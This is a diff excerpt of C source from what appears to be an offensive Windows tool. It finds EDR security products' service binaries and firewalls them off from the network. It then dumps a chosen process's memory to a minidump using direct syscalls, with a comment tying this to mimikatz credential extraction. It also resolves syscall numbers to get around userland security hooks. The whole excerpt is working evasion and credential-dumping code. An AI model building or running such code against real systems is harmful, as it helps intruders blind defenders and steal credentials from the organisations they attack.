if (GetFileAttributes(serviceBinaryPath) == INVALID_FILE_ATTRIBUTES) {
SIZE_T posExtension = _tcslen(serviceBinaryPath);
_tcscpy_s(serviceBinaryPath + posExtension, _countof(serviceBinaryPath) - posExtension, TEXT(".exe"));
if (GetFileAttributes(serviceBinaryPath) == INVALID_FILE_ATTRIBUTES) {
_tcscpy_s(serviceBinaryPath + posExtension, _countof(serviceBinaryPath) - posExtension, TEXT(".sys"));
if (GetFileAttributes(serviceBinaryPath) == INVALID_FILE_ATTRIBUTES) {
_tprintf_or_not(TEXT("[!] Did not find service binary '%s' (sanitized path: '%s')\n"), lpServiceConfig->lpBinaryPathName, serviceBinaryPath);
// NB : If unquoted service path -> should also print this error message
continue;
}
}
}
if (isFileSignatureMatchingEDR(serviceBinaryPath) || isDriverPathMatchingEDR(serviceBinaryPath)) {
slistNewFWEntry = calloc(1, sizeof(fwBinaryRules));
if (!slistNewFWEntry) {
_tprintf_or_not(TEXT("[!] Couldn't alloc memory for binary path (slistNewEntry) for service \"%s\"\n"), lpServices[dwIndex].lpServiceName);
goto cleanup;
}
slistNewFWEntry->binaryPath = _tcsdup(serviceBinaryPath);
if (!slistNewFWEntry->binaryPath) {
_tprintf_or_not(TEXT("[!] Couldn't alloc memory for binary path (slistNewEntry->binaryPath) for service \"%s\"\n"), lpServices[dwIndex].lpServiceName);
goto cleanup;
}
fwList_insertSorted(sFWEntries, slistNewFWEntry);
_tprintf_or_not(TEXT("[+] Found EDR binary executed through a service name \"%s\" | path \"%s\"\n"), lpServices[dwIndex].lpServiceName, slistNewFWEntry->binaryPath);
}
if (!CloseServiceHandle(hService)) {
_tprintf_or_not(TEXT("[!] Error while closing service handle (CloseServiceHandle failed: 0x%08lx)\n"), GetLastError());
goto cleanup;
}
//_tprintf_or_not(TEXT("[*] Found service: name => \"%s\" | Display name => \"%s\".\n"), lpServices[dwIndex].lpServiceName, lpServices[dwIndex].lpDisplayName);
}
if (!CloseServiceHandle(hSCManager)) {
_tprintf_or_not(TEXT("[!] Error while closing handle on the SCM (CloseServiceHandle failed: 0x%08lx)\n"), GetLastError());
}
free(lpServiceConfig);
lpServiceConfig = NULL;
free(lpServices);
lpServices = NULL;
return 0;
cleanup:
if (hService) {
if (!CloseServiceHandle(hService)) {
_tprintf_or_not(TEXT("[!] Error while closing service handle (CloseServiceHandle failed: 0x%08lx)\n"), GetLastError());
}
}
if (hSCManager) {
if (!CloseServiceHandle(hSCManager)) {
_tprintf_or_not(TEXT("[!] Error while closing handle on the SCM (CloseServiceHandle failed: 0x%08lx)\n"), GetLastError());
}
}
if (lpServiceConfig) {
free(lpServiceConfig);
lpServiceConfig = NULL;
}
if (lpServices) {
free(lpServices);
lpServices = NULL;
}
return -1;
}
HRESULT FirewallBlockEDR(fwBlockingRulesList* sFWEntries) {
BOOL isElevatedProcess = FALSE;
BOOL firewallIsOn = FALSE;
DWORD ntStatus = 0;
HRESULT hrStatus = S_OK;
isElevatedProcess = IsElevatedProcess();
if (!isElevatedProcess) {
_putts_or_not(TEXT("[!] The current process is not elevated, will not be able to add Firewall rules"));
return E_FAIL;
}
hrStatus = IsFirewallEnabled(&firewallIsOn);
if (FAILED(hrStatus)) {
_putts_or_not(TEXT("[!] Could not configure Firewall EDR blocking rules: an error occured while attempting to determine the FireWall status"));
return E_FAIL;
}
if (!firewallIsOn) {
_putts_or_not(TEXT("[*] The Windows Firewall is NOT active for all active profiles, skipping adding Firewall rules"));
return E_FAIL;
}
_putts_or_not(TEXT("[+] The Windows Firewall is on for all active profiles!"));
_putts_or_not(TEXT("[*] Enumerating EDR processes.."));
ntStatus = EnumEDRProcess(sFWEntries);
if (!NT_SUCCESS(ntStatus)) {
_putts_or_not(TEXT("[!] An error occured while enumerating the EDR processes"));
}
_putts_or_not(TEXT(""));
_putts_or_not(TEXT("[*] Enumerating EDR services.."));
ntStatus = EnumEDRServices(sFWEntries);
if (!NT_SUCCESS(ntStatus)) {
_putts_or_not(TEXT("[!] An error occured while enumerating the EDR services"));
}
_putts_or_not(TEXT(""));
_putts_or_not(TEXT("[*] Blocking EDR found processes / services's binaries..."));
hrStatus = FirewallBlockEDRBinaries(sFWEntries);
if (FAILED(hrStatus)) {
_putts_or_not(TEXT("[!] An error occured while attempting to create Firewall blocking rules for EDR processes / services"));
}
return 0;
}
HRESULT FirewallUnblockEDR(fwBlockingRulesList* sFWEntries) {
BOOL isElevatedProcess = FALSE;
HRESULT hrStatusFinal = S_OK;
HRESULT hrStatusTemp = S_OK;
isElevatedProcess = IsElevatedProcess();
if (!isElevatedProcess) {
_putts_or_not(TEXT("[!] The current process is not elevated, will not be able to remove Firewall rules"));
return E_FAIL;
}
for (fwBinaryRules* fwEntryToDelete = sFWEntries->first; fwEntryToDelete != NULL; fwEntryToDelete = fwEntryToDelete->next) {
hrStatusTemp = DeleteFirewallRule(fwEntryToDelete->ruleInboundName);
if (FAILED(hrStatusTemp)) {
hrStatusFinal = hrStatusTemp;
}
hrStatusTemp = DeleteFirewallRule(fwEntryToDelete->ruleOutboundName);
if (FAILED(hrStatusTemp)) {
hrStatusFinal = hrStatusTemp;
}
}
return hrStatusFinal;
}
void FirewallPrintManualDeletion(fwBlockingRulesList* sFWEntries) {
_putts_or_not(TEXT("[*] The Firewall blocking rules created can be manually deleted using the following commands:"));
for (fwBinaryRules* fwEntryToDelete = sFWEntries->first; fwEntryToDelete != NULL; fwEntryToDelete = fwEntryToDelete->next) {
_tprintf_or_not(TEXT("netsh advfirewall firewall delete rule name=%s\n"), fwEntryToDelete->ruleInboundName);
_tprintf_or_not(TEXT("netsh advfirewall firewall delete rule name=%s\n"), fwEntryToDelete->ruleOutboundName);
}
}
BOOL fwList_isEmpty(fwBlockingRulesList* fwEntries) {
return fwEntries->first == NULL;
};
BOOL fwListElt_isBefore(fwBinaryRules* a, fwBinaryRules* b) {
return _tcscmp(a->binaryPath, b->binaryPath) < 0;
};
void fwList_insertSorted(fwBlockingRulesList* fwEntries, fwBinaryRules* newFWEntry) {
fwBinaryRules* first = fwEntries->first;
// if first element comes after, insert at the head
if (fwList_isEmpty(fwEntries) || fwListElt_isBefore(newFWEntry, first)) {
// insert newFWEntry at the head of the list
newFWEntry->next = fwEntries->first;
fwEntries->first = newFWEntry;
return;
}
// browse list from the start until next element comes after (or is equal to) our new element
fwBinaryRules* ptr;
for (ptr = fwEntries->first;
(ptr->next != NULL) && fwListElt_isBefore(ptr->next, newFWEntry);
ptr = ptr->next);
// if end of the list, or new entry is different to the next one (no duplicate), insert it
if ((ptr->next == NULL) || fwListElt_isBefore(newFWEntry, ptr->next)) {
// insert newFWEntry after ptr
newFWEntry->next = ptr->next;
ptr->next = newFWEntry;
}
else {
// duplicate entry, do nothing
}
}
@@ -0,0 +1,503 @@
#include <Windows.h>
#include <minidumpapiset.h>
#include "ListUtils.h"
#include "RemotePEBBrowser.h"
#include "StringUtils.h"
#include "SyscallProcessUtils.h"
#include "SW2_Syscalls.h"
#include "Undoc.h"
#include "ProcessDumpDirectSyscalls.h"
VOID writeAtRVA(DUMP_CONTEXT* dumpContext, ULONG32 rva, const PVOID data, unsigned size) {
memcpy(GetRVA((ULONG_PTR) dumpContext->BaseAddress, rva), data, size);
}
BOOL appendToDump(DUMP_CONTEXT* dumpContext, const PVOID data, DWORD size) {
ULONG32 newRVA = dumpContext->RVA + size;
if (newRVA < dumpContext->RVA) {
_tprintf_or_not(TEXT("[-] Syscall process dump failed: exceeds the 32-bit address space (int overflow)\n"));
return FALSE;
}
else if (dumpContext->DumpMaxSize < newRVA) {
while(dumpContext->DumpMaxSize < newRVA){
dumpContext->DumpMaxSize *= 2;
}
PVOID ptr = realloc(dumpContext->BaseAddress, dumpContext->DumpMaxSize);
if (!ptr) {
_tprintf_or_not(TEXT("[-] Syscall process dump failed: reallocation failed\n"));
return FALSE;
}
dumpContext->BaseAddress = ptr;
}
writeAtRVA(dumpContext, dumpContext->RVA, data, size);
dumpContext->RVA = newRVA;
return TRUE;
}
BOOL writeMiniDumpHeader(DUMP_CONTEXT* dumpContext) {
MINIDUMP_HEADER header = { 0 };
header.Signature = dumpContext->Signature;
header.Version = dumpContext->Version | (((DWORD)dumpContext->ImplementationVersion)<<16);
// Only SystemInfoStream, ModuleListStream and Memory64ListStream streams.
header.NumberOfStreams = 3;
header.NumberOfStreams = (header.NumberOfStreams + 3) & ~3; // round up to next multiple of 4, https://github.com/w1u0u1/minidump/blob/main/minidump/minidump.c ?
header.StreamDirectoryRva = sizeof(MINIDUMP_HEADER);
header.CheckSum = 0;
header.Reserved = 0;
header.TimeDateStamp = 0;
header.Flags = MiniDumpWithFullMemory;
if (!appendToDump(dumpContext, &header, sizeof(MINIDUMP_HEADER))) {
_tprintf_or_not(TEXT("[-] Syscall process dump failed: failed to write dump header\n"));
return STATUS_UNSUCCESSFUL;
}
return STATUS_SUCCES;
}
DWORD writeMiniDumpDirectories(DUMP_CONTEXT* dumpContext) {
DWORD nbDirectories = 0;
MINIDUMP_DIRECTORY systemInfoDirectory = { 0 };
systemInfoDirectory.StreamType = SystemInfoStream;
systemInfoDirectory.Location.DataSize = 0;
systemInfoDirectory.Location.Rva = 0;
if (!appendToDump(dumpContext, &systemInfoDirectory, sizeof(systemInfoDirectory))) {
_tprintf_or_not(TEXT("[-] Syscall process dump failed: couldn't write SystemInfoStream directory\n"));
return STATUS_UNSUCCESSFUL;
}
nbDirectories++;
MINIDUMP_DIRECTORY moduleListDirectory = { 0 };
moduleListDirectory.StreamType = ModuleListStream;
moduleListDirectory.Location.DataSize = 0;
moduleListDirectory.Location.Rva = 0;
if (!appendToDump(dumpContext, &moduleListDirectory, sizeof(moduleListDirectory)))
{
_tprintf_or_not(TEXT("[-] Syscall process dump failed: couldn't write ModuleListStream directory\n"));
return STATUS_UNSUCCESSFUL;
}
nbDirectories++;
MINIDUMP_DIRECTORY memory64ListDumpDirectory = { 0 };
memory64ListDumpDirectory.StreamType = Memory64ListStream;
memory64ListDumpDirectory.Location.DataSize = 0;
memory64ListDumpDirectory.Location.Rva = 0;
if (!appendToDump(dumpContext, &memory64ListDumpDirectory, sizeof(memory64ListDumpDirectory))) {
_tprintf_or_not(TEXT("[-] Syscall process dump failed: couldn't write Memory64ListStream directory\n"));
return STATUS_UNSUCCESSFUL;
}
nbDirectories++;
while (nbDirectories & 3) {
MINIDUMP_DIRECTORY unusedDirectory = { 0 };
unusedDirectory.StreamType = UnusedStream;
unusedDirectory.Location.DataSize = 0;
unusedDirectory.Location.Rva = 0;
if (!appendToDump(dumpContext, &unusedDirectory, sizeof(unusedDirectory))) {
_tprintf_or_not(TEXT("[-] Syscall process dump failed: couldn't write unusedDirectory directory\n"));
return STATUS_UNSUCCESSFUL;
}
nbDirectories++;
}
return STATUS_SUCCES;
}
DWORD writeMiniDumpSystemInfoStream(DUMP_CONTEXT* dumpContext) {
MINIDUMP_SYSTEM_INFO dumpSystemInfo = { 0 };
// read the PEB.
#if _WIN64
PEB64 peb = *(PPEB64) __readgsqword(0x60);
#else
PEB peb = *(PPEB) __readfsdword(0x30);
#endif
SYSTEM_INFO sysInfo;
GetSystemInfo(&sysInfo);
dumpSystemInfo.ProcessorLevel = sysInfo.wProcessorLevel;
dumpSystemInfo.ProcessorRevision = sysInfo.wProcessorRevision;
dumpSystemInfo.NumberOfProcessors = (BYTE)sysInfo.dwNumberOfProcessors;
dumpSystemInfo.ProductType = VER_NT_WORKSTATION;
dumpSystemInfo.MajorVersion = peb.OSMajorVersion;
dumpSystemInfo.MinorVersion = peb.OSMinorVersion;
dumpSystemInfo.BuildNumber = peb.OSBuildNumber;
dumpSystemInfo.PlatformId = peb.OSPlatformId;
dumpSystemInfo.ProcessorArchitecture = PROCESSOR_ARCHITECTURE;
dumpSystemInfo.CSDVersionRva = 0;
dumpSystemInfo.SuiteMask = VER_SUITE_SINGLEUSERTS;
dumpSystemInfo.Reserved2 = 0;
dumpSystemInfo.Cpu.OtherCpuInfo.ProcessorFeatures[0] = 0;
dumpSystemInfo.Cpu.OtherCpuInfo.ProcessorFeatures[1] = 0;
for (DWORD i = 0; i < sizeof(dumpSystemInfo.Cpu.OtherCpuInfo.ProcessorFeatures[0]) * 8; i++) {
if (IsProcessorFeaturePresent(i)) {
dumpSystemInfo.Cpu.OtherCpuInfo.ProcessorFeatures[0] |= 1LL << i;
}
}
RVA streamRVA = dumpContext->RVA;
ULONG32 streamSize = sizeof(dumpSystemInfo);
if (!appendToDump(dumpContext, &dumpSystemInfo, streamSize)) {
_tprintf_or_not(TEXT("[-] Syscall process dump failed: couldn't write the SystemInfoStream (stream rva)\n"));
return STATUS_UNSUCCESSFUL;
}
// Append CSDVersion string
#if _WIN64
ULONG32 CSDVersionLength = peb.CSDVersion.uOrDummyAlign.u.Length;
#else
ULONG32 CSDVersionLength = peb.CSDVersion.Length;
#endif
ULONG32 CSDVersionBufferLength = CSDVersionLength + sizeof(WCHAR);
PMINIDUMP_STRING CSDVersion = calloc(1, sizeof(MINIDUMP_STRING) + CSDVersionBufferLength);
if (!CSDVersion) {
_tprintf_or_not(TEXT("[-] Syscall process dump failed: couldn't allocate CSDVersion string\n"));
return STATUS_UNSUCCESSFUL;
}
CSDVersion->Length = CSDVersionLength;
memcpy(CSDVersion->Buffer, peb.CSDVersion.Buffer, CSDVersionBufferLength);
RVA CSDVersionRVA = dumpContext->RVA;
appendToDump(dumpContext, CSDVersion, sizeof(MINIDUMP_STRING) + CSDVersionBufferLength);
// write our length in the MiniDumpSystemInfo directory
writeAtRVA(dumpContext, sizeof(MINIDUMP_HEADER) + offsetof(MINIDUMP_DIRECTORY, Location.DataSize), &streamSize, sizeof(streamSize));
// write our RVA in the MiniDumpSystemInfo directory
writeAtRVA(dumpContext, sizeof(MINIDUMP_HEADER) + offsetof(MINIDUMP_DIRECTORY, Location.Rva), &streamRVA, sizeof(streamRVA));
// write the CSDVersion RVA in the SystemInfoStream
writeAtRVA(dumpContext, streamRVA + offsetof(MINIDUMP_SYSTEM_INFO, CSDVersionRva), &CSDVersionRVA, sizeof(CSDVersionRVA));
return STATUS_SUCCES;
}
DWORD writeMiniDumpModuleListStream(DUMP_CONTEXT* dumpContext, PMODULE_INFO pmoduleList) {
PMODULE_INFO currentModule = pmoduleList;
ULONG32 modulesCount = 0;
// Write modules dll metadata (length & path).
while (currentModule) {
modulesCount = modulesCount + 1;
currentModule->nameRVA = dumpContext->RVA;
// Write the module fullname length.
ULONG32 DllFullNameLength = (ULONG32)(wcsnlen((WCHAR*) &currentModule->dllName, sizeof(currentModule->dllName)) + 1) * sizeof(WCHAR);
if (!appendToDump(dumpContext, &DllFullNameLength, 4)) {
_tprintf_or_not(TEXT("[-] Syscall process dump failed: couldn't write the ModuleListStream (write of module DllFullName length failed)\n"));
return STATUS_UNSUCCESSFUL;
}
// Write the module fullname length.
if (!appendToDump(dumpContext, currentModule->dllName, DllFullNameLength)) {
_tprintf_or_not(TEXT("[-] Syscall process dump failed: couldn't write the ModuleListStream (write of module DllFullName failed)\n"));
return STATUS_UNSUCCESSFUL;
}
currentModule = currentModule->next;
}
// Write the number of modules.
RVA streamRVA = dumpContext->RVA;
if (!appendToDump(dumpContext, &modulesCount, 4)) {
_tprintf_or_not(TEXT("[-] Syscall process dump failed: couldn't write the ModuleListStream (write of number of modules failed)\n"));
return STATUS_UNSUCCESSFUL;
}
// Write the modules data.
currentModule = pmoduleList;
while (currentModule) {
MINIDUMP_MODULE module = { 0 };
module.BaseOfImage = (ULONG_PTR)currentModule->dllBase;
module.SizeOfImage = currentModule->ImageSize;
module.CheckSum = currentModule->checkSum;
module.TimeDateStamp = currentModule->timeDateStamp;
module.ModuleNameRva = currentModule->nameRVA;
module.VersionInfo.dwSignature = 0;
module.VersionInfo.dwStrucVersion = 0;
module.VersionInfo.dwFileVersionMS = 0;
module.VersionInfo.dwFileVersionLS = 0;
module.VersionInfo.dwProductVersionMS = 0;
module.VersionInfo.dwProductVersionLS = 0;
module.VersionInfo.dwFileFlagsMask = 0;
module.VersionInfo.dwFileFlags = 0;
module.VersionInfo.dwFileOS = 0;
module.VersionInfo.dwFileType = 0;
module.VersionInfo.dwFileSubtype = 0;
module.VersionInfo.dwFileDateMS = 0;
module.VersionInfo.dwFileDateLS = 0;
module.CvRecord.DataSize = 0;
module.CvRecord.Rva = 0;
module.MiscRecord.DataSize = 0;
module.MiscRecord.Rva = 0;
module.Reserved0 = 0;
module.Reserved1 = 0;
if (!appendToDump(dumpContext, &module, sizeof(module))) {
_tprintf_or_not(TEXT("[-] Syscall process dump failed: couldn't write the ModuleListStream (write of module bytes failed)\n"));
return STATUS_UNSUCCESSFUL;
}
currentModule = currentModule->next;
}
// Write the total length in the ModuleListStream directory.
// header + 1 directory + streamType
ULONG32 streamSize = sizeof(modulesCount) + modulesCount * sizeof(MINIDUMP_MODULE);
writeAtRVA(dumpContext, sizeof(MINIDUMP_HEADER) + sizeof(MINIDUMP_DIRECTORY) + offsetof(MINIDUMP_DIRECTORY, Location.DataSize), &streamSize, sizeof(streamSize));
// Write our RVA in the ModuleListStream directory.
// header + 1 directory + streamType + Location.DataSize
writeAtRVA(dumpContext, sizeof(MINIDUMP_HEADER) + sizeof(MINIDUMP_DIRECTORY) + offsetof(MINIDUMP_DIRECTORY, Location.Rva), &streamRVA, sizeof(streamRVA));
return STATUS_SUCCES;
}
DWORD writeMiniDumpMemory64ListStream(DUMP_CONTEXT* dumpContext, PMEMORY_PAGE_INFO pmemoryPages) {
RVA streamRVA = dumpContext->RVA;
PMINIDUMP_MEMORY64_LIST memory64List = calloc(1, sizeof(MINIDUMP_MEMORY64_LIST));
if (!memory64List) {
_tprintf_or_not(TEXT("[-] Syscall process dump failed: couldn't alloc the Memory64ListStream structure\n"));
return STATUS_UNSUCCESSFUL;
}
// Count the number of memory ranges.
PMEMORY_PAGE_INFO currentMemoryPage = pmemoryPages;
ULONG32 memoryPagesCount = 0;
while (currentMemoryPage) {
memoryPagesCount++;
currentMemoryPage = currentMemoryPage->next;
}
memory64List->NumberOfMemoryRanges = memoryPagesCount;
// Extend the structure to host all ranges
ULONG32 streamSize = sizeof(MINIDUMP_MEMORY64_LIST) + memoryPagesCount * sizeof(MINIDUMP_MEMORY_DESCRIPTOR64);
PMINIDUMP_MEMORY64_LIST tmp = realloc(memory64List, streamSize);
if (!tmp) {
_tprintf_or_not(TEXT("[-] Syscall process dump failed: couldn't realloc the Memory64ListStream structure\n"));
return STATUS_UNSUCCESSFUL;
}
memory64List = tmp;
// Compute the rva of the actual memory content
RVA64 baseRVA = (RVA64)streamRVA + (RVA64)streamSize;
memory64List->BaseRva = baseRVA;
// Compute the start and size of each memory Page.
currentMemoryPage = pmemoryPages;
SIZE_T indexMemoryRange = 0;
while (currentMemoryPage) {
memory64List->MemoryRanges[indexMemoryRange].StartOfMemoryRange = currentMemoryPage->startOfMemoryPage;
memory64List->MemoryRanges[indexMemoryRange].DataSize = currentMemoryPage->dataSize;
currentMemoryPage = currentMemoryPage->next;
indexMemoryRange++;
}
//Write the actual stream
appendToDump(dumpContext, memory64List, streamSize);
free(memory64List);
memory64List = NULL;
// Write our length in the Memory64ListStream directory.
// header + 2 directories + streamType.
writeAtRVA(dumpContext, sizeof(MINIDUMP_HEADER) + sizeof(MINIDUMP_DIRECTORY) * 2 + offsetof(MINIDUMP_DIRECTORY, Location.DataSize), &streamSize, sizeof(streamSize));
// write our RVA in the Memory64ListStream directory
// header + 2 directories + streamType + Location.DataSize
writeAtRVA(dumpContext, sizeof(MINIDUMP_HEADER) + sizeof(MINIDUMP_DIRECTORY) * 2 + offsetof(MINIDUMP_DIRECTORY, Location.Rva), &streamRVA, sizeof(streamRVA));
// dump all the selected memory Pages.
currentMemoryPage = pmemoryPages;
while (currentMemoryPage) {
PBYTE buffer = calloc(currentMemoryPage->dataSize, 1);
if (!buffer) {
_tprintf_or_not(TEXT("[-] Syscall process dump failed: couldn't write the Memory64ListStream stream (failed to allocate memory for memory Page)\n"));
return STATUS_UNSUCCESSFUL;
}
NTSTATUS status = NtReadVirtualMemory(dumpContext->hProcess, (PVOID)(ULONG_PTR)currentMemoryPage->startOfMemoryPage, buffer, currentMemoryPage->dataSize, NULL);
// once in a while, a Page fails with STATUS_PARTIAL_COPY, not relevant for mimikatz
if (!NT_SUCCESS(status) && status != STATUS_PARTIAL_COPY) {
_tprintf_or_not(TEXT("[-] Failed to read memory Page: startOfMemoryPage: 0x%p, dataSize: 0x%llx, state: 0x%lx, protect: 0x%lx, type: 0x%lx, NtReadVirtualMemory status: 0x%lx. Continuing anyways...\n"),
(PVOID)(ULONG_PTR)currentMemoryPage->startOfMemoryPage,
currentMemoryPage->dataSize,
currentMemoryPage->state,
currentMemoryPage->protect,
currentMemoryPage->type,
status);
}
if (MAXDWORD < currentMemoryPage->dataSize) {
_tprintf_or_not(TEXT("[-] Syscall process dump failed: memory range too big ! Aboring\n"));
return STATUS_UNSUCCESSFUL;
}
if (!appendToDump(dumpContext, buffer, (DWORD)currentMemoryPage->dataSize)) {
_tprintf_or_not(TEXT("[-] Syscall process dump failed: couldn't write the Memory64ListStream stream (failed to write memory Page)\n"));
return STATUS_UNSUCCESSFUL;
}
// Free memory Page (overwrite it first, just in case).
memset(buffer, 0, currentMemoryPage->dataSize);
free(buffer);
buffer = NULL;
currentMemoryPage = currentMemoryPage->next;
}
return STATUS_SUCCES;
}
DWORD SandMiniDumpWriteDump(TCHAR* targetProcessName, WCHAR* dumpFilePath) {
DWORD status = STATUS_UNSUCCESSFUL;
DWORD targetProcessPID = 0;
PMODULE_INFO pmoduleList = NULL;
PMEMORY_PAGE_INFO pmemoryPages = NULL;
HANDLE hDumpFile = NULL;
OBJECT_ATTRIBUTES ObjectAttributesDumpFile = { 0 };
IO_STATUS_BLOCK IoStatusBlock = { 0 };
LARGE_INTEGER AllocationSize = { 0 };
HANDLE htargetProcess = NULL;
OBJECT_ATTRIBUTES ObjectAttributesProcess = { 0 };
status = SandFindProcessPidByName(targetProcessName, &targetProcessPID);
if (!NT_SUCCESS(status) || targetProcessPID == 0) {
_tprintf_or_not(TEXT("[-] Syscall process dump failed: couldn't find target %s process PID\n"), targetProcessName);
goto cleanup;
}
WCHAR FilePath[MAX_PATH] = { 0 };
const WCHAR prefix[] = L"\\??\\";
memcpy_s(FilePath, sizeof(FilePath), prefix, sizeof(prefix));
UNICODE_STRING dumpFilePathAsUnicodeStr = { 0 };
wcscat_s(FilePath, _countof(FilePath), dumpFilePath);
getUnicodeStringFromTCHAR(&dumpFilePathAsUnicodeStr, FilePath);
// Create the dump file to validate that the output path is correct beforing accessing the process to dump memory.
InitializeObjectAttributes(&ObjectAttributesDumpFile, &dumpFilePathAsUnicodeStr, OBJ_CASE_INSENSITIVE, NULL, NULL);
status = NtCreateFile(&hDumpFile, FILE_GENERIC_WRITE, &ObjectAttributesDumpFile, &IoStatusBlock, &AllocationSize, FILE_ATTRIBUTE_NORMAL, 0, FILE_OVERWRITE_IF, FILE_SYNCHRONOUS_IO_NONALERT, NULL, 0);
if (status == STATUS_OBJECT_PATH_NOT_FOUND || status == STATUS_OBJECT_NAME_INVALID) {
_tprintf_or_not(TEXT("[-] Syscall process dump failed: the dump file %s path is not valid\n"), FilePath);
goto cleanup;
}
else if (!NT_SUCCESS(status)) {
_tprintf_or_not(TEXT("[-] Syscall process dump failed: couldn't create empty dump file (NtCreateFile error 0x%x).\n"), status);
goto cleanup;
}
// Open an handle to the process to dump.
InitializeObjectAttributes(&ObjectAttributesProcess, NULL, 0, NULL, NULL);
CLIENT_ID clientId = { 0 };
clientId.ProcessId = UlongToHandle(targetProcessPID);
status = NtOpenProcess(&htargetProcess, PROCESS_VM_OPERATION | PROCESS_VM_READ | PROCESS_QUERY_INFORMATION, &ObjectAttributesProcess, &clientId);
if (status == STATUS_ACCESS_DENIED) {
_tprintf_or_not(TEXT("[-] Syscall process dump failed: access denied error while trying to get an handle on the target process (NtOpenProcesserror 0x%x).\n"), status);
goto cleanup;
}
else if (!NT_SUCCESS(status)) {
_tprintf_or_not(TEXT("[-] Syscall process dump failed: couldn't get an handle to the target process (NtOpenProcess 0x%x).\n"), status);
goto cleanup;
}
// Allocate memory to write the mini dump.
SIZE_T dumpSz = sizeof(MINIDUMP_HEADER); // arbitrary, the allocation size grows at each appendToDump
PVOID dumpBaseAddr = calloc(dumpSz, 1);
if (!dumpBaseAddr) {
_tprintf_or_not(TEXT("[-] Syscall process dump failed: couldn't allocate memory for dump file.\n"));
goto cleanup;
}
DUMP_CONTEXT dumpContext = { 0 };
dumpContext.Signature = MINIDUMP_SIGNATURE;
dumpContext.Version = MINIDUMP_VERSION; // | implementation_version << 16
dumpContext.hProcess = htargetProcess;
dumpContext.BaseAddress = dumpBaseAddr;
dumpContext.RVA = 0;
dumpContext.DumpMaxSize = dumpSz;
pmoduleList = getModulesInLdrByInMemoryOrder(htargetProcess);
if (!pmoduleList) {
goto cleanup;
}
pmemoryPages = getMemoryPagesInfo(dumpContext.hProcess, TRUE);
if (!pmemoryPages) {
goto cleanup;
}
status = writeMiniDumpHeader(&dumpContext);
if (!NT_SUCCESS(status)) {
goto cleanup;
}
status = writeMiniDumpDirectories(&dumpContext);
if (!NT_SUCCESS(status)) {
goto cleanup;
}
status = writeMiniDumpSystemInfoStream(&dumpContext);
if (!NT_SUCCESS(status)) {
goto cleanup;
}
status = writeMiniDumpModuleListStream(&dumpContext, pmoduleList);
if (!NT_SUCCESS(status)) {
goto cleanup;
}
status = writeMiniDumpMemory64ListStream(&dumpContext, pmemoryPages);
if (!NT_SUCCESS(status)) {
goto cleanup;
}
status = NtWriteFile(hDumpFile, NULL, NULL, NULL, &IoStatusBlock, dumpContext.BaseAddress, dumpContext.RVA, NULL, NULL);
if (!NT_SUCCESS(status)) {
_tprintf_or_not(TEXT("[-] Syscall process dump failed: failed to write dump to file (NtWriteFile 0x%x).\n"), status);
goto cleanup;
}
freeLinkedList(pmoduleList);
freeLinkedList(pmemoryPages);
NtClose(htargetProcess);
NtClose(hDumpFile);
_tprintf_or_not(TEXT("[+] %s sucessfully dumped with direct syscalls only to: %s\n"), targetProcessName, dumpFilePath);
return STATUS_SUCCES;
cleanup:
if (htargetProcess) {
NtClose(htargetProcess);
}
if (hDumpFile) {
NtClose(hDumpFile);
}
if (pmoduleList) {
freeLinkedList(pmoduleList);
}
if (pmemoryPages) {
freeLinkedList(pmemoryPages);
}
return STATUS_UNSUCCESSFUL;
}
DWORD SandMiniDumpWriteDumpFromThread(PVOID* args) {
return SandMiniDumpWriteDump(args[0], args[1]);
}
+204
View File
@@ -0,0 +1,204 @@
#include <Windows.h>
#include "UserlandHooks.h"
#include "PEParser.h"
#include "PEBBrowse.h"
#define INVALID_SYSCALL_NUMBER 0xFFFFFFFF
DWORD GetSyscallNumberFromMemoryScanning(LPCSTR ntFunctionName) {
PE* ntdll_disk;
PE* ntdll_mem;
getNtdllPEs(&ntdll_mem, &ntdll_disk);
DWORD syscallNumber = INVALID_SYSCALL_NUMBER;
PBYTE scanner = PE_functionAddr(ntdll_disk, ntFunctionName);
for (int i = 0; i < 0x10; i++, scanner++) {
PDWORD pPotentialSycallNumber = (PDWORD)(scanner + 1);
if (*scanner == 0xB8 && *pPotentialSycallNumber < 0x10000) { //B8 : mov eax, imm32
syscallNumber = *pPotentialSycallNumber;
break;
}
}
return syscallNumber;
}
typedef struct SYSCALL_t {
LPCSTR Name;
DWORD RVA;
DWORD Number;
}SYSCALL;
int CmpSyscallsByRVA(SYSCALL const* a, SYSCALL const* b) {
if (a->RVA < b->RVA) {
return -1;
}
else if (a->RVA > b->RVA) {
return +1;
}
else {
return 0;
}
}
int CmpSyscallsByName(SYSCALL const* a, SYSCALL const* b) {
return strcmp(a->Name, b->Name);
}
DWORD g_nbSyscalls = 0;
DWORD g_nbSyscallsMax = 0;
SYSCALL* g_syscalls = NULL;
SYSCALL* GetSyscallTable(PDWORD syscallTableSize) {
if (g_syscalls != NULL) {
*syscallTableSize = g_nbSyscalls;
return g_syscalls;
}
g_nbSyscallsMax = 0x10;
g_syscalls = calloc(g_nbSyscallsMax, sizeof(SYSCALL));
if (!g_syscalls) {
return NULL;
}
PE* ntdll_mem = NULL;
PE* ntdll_disk = NULL;
getNtdllPEs(&ntdll_mem, &ntdll_disk);
// Store all Zw* function as a syscall
for (DWORD nameOrdinal = 0; nameOrdinal < ntdll_mem->exportedNamesLength; nameOrdinal++) {
LPCSTR functionName = PE_RVA_to_Addr(ntdll_mem, ntdll_mem->exportedNames[nameOrdinal]);
if (*(WORD*)functionName == *((WORD*)"Zw")) {
if (g_nbSyscalls == g_nbSyscallsMax) {
g_nbSyscallsMax *= 2;
PVOID tmp = realloc(g_syscalls, g_nbSyscallsMax * sizeof(SYSCALL));
if (!tmp) {
return NULL;
}
g_syscalls = tmp;
}
g_syscalls[g_nbSyscalls].Name = functionName;
g_syscalls[g_nbSyscalls].RVA = PE_functionRVA(ntdll_mem, functionName);
g_nbSyscalls++;
}
}
PVOID tmp = realloc(g_syscalls, g_nbSyscalls * sizeof(SYSCALL));
if (!tmp || !g_nbSyscalls) {
return NULL;
}
g_syscalls = tmp;
g_nbSyscallsMax = g_nbSyscalls;
// Sort the Zw* functions by RVA
qsort(g_syscalls, g_nbSyscalls, sizeof(SYSCALL), CmpSyscallsByRVA);
// Deduce the syscall numbers from order in table
for (DWORD j = 0; j < g_nbSyscalls; j++) {
g_syscalls[j].Number = j;
}
// Sort the function back in alphabetical order
qsort(g_syscalls, g_nbSyscalls, sizeof(SYSCALL), CmpSyscallsByName);
*syscallTableSize = g_nbSyscalls;
return g_syscalls;
}
DWORD GetSyscallNumberFromHardcodedInformation(LPCSTR ntFunctionName) {
